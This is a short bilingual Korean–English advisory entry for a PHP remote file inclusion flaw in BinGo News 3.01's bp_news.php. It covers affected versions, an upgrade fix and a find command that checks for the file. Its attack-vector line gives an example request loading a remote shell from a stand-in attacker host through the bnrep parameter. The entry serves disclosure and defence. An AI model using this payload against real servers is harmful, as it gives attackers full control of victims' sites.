🇰🇷 한글 설명
BinGo News 3.01 이하 버전의 bp_news.php에 있는 PHP 원격 파일 포함(RFI) 취약점으로, bnrep 매개변수를 통해 악의적인 URL을 삽입하여 원격에서 임의의 PHP 코드를 실행할 수 있다. 이 취약점으로 인해 공격자는 완전한 서버 제어권을 획득할 수 있다.
💡 쉬운 설명
뉴스 플러그인에서 외부 파일을 불러올 때 입력값을 검증하지 않아, 공격자가 자신의 악성 파일을 실행하도록 유도할 수 있다. 이를 통해 웹사이트 전체가 해킹될 수 있다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in bp_news.php in BinGo News (BP News) 3.01 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the bnrep parameter.
📍 영향받는 시스템
BinGo News (BP News) 3.01 및 그 이전 버전
⚔️ 공격 벡터
bnrep 매개변수에 악성 URL을 포함한 요청 전송 (예: ?bnrep=http://attacker.com/shell.php)
🛡️ 대응 방법
BinGo News를 3.02 이상으로 업그레이드하거나, 해당 플러그인/애플리케이션을 제거하고 최신 대체품으로 교체
🔧 검증 코드
명령어가 파일을 찾으면 해당 경로에 취약한 버전이 설치되어 있으며, 결과가 없으면 시스템에 설치되지 않았거나 다른 경로에 있는 것
find /var/www -name 'bp_news.php' 2>/dev/null | head -1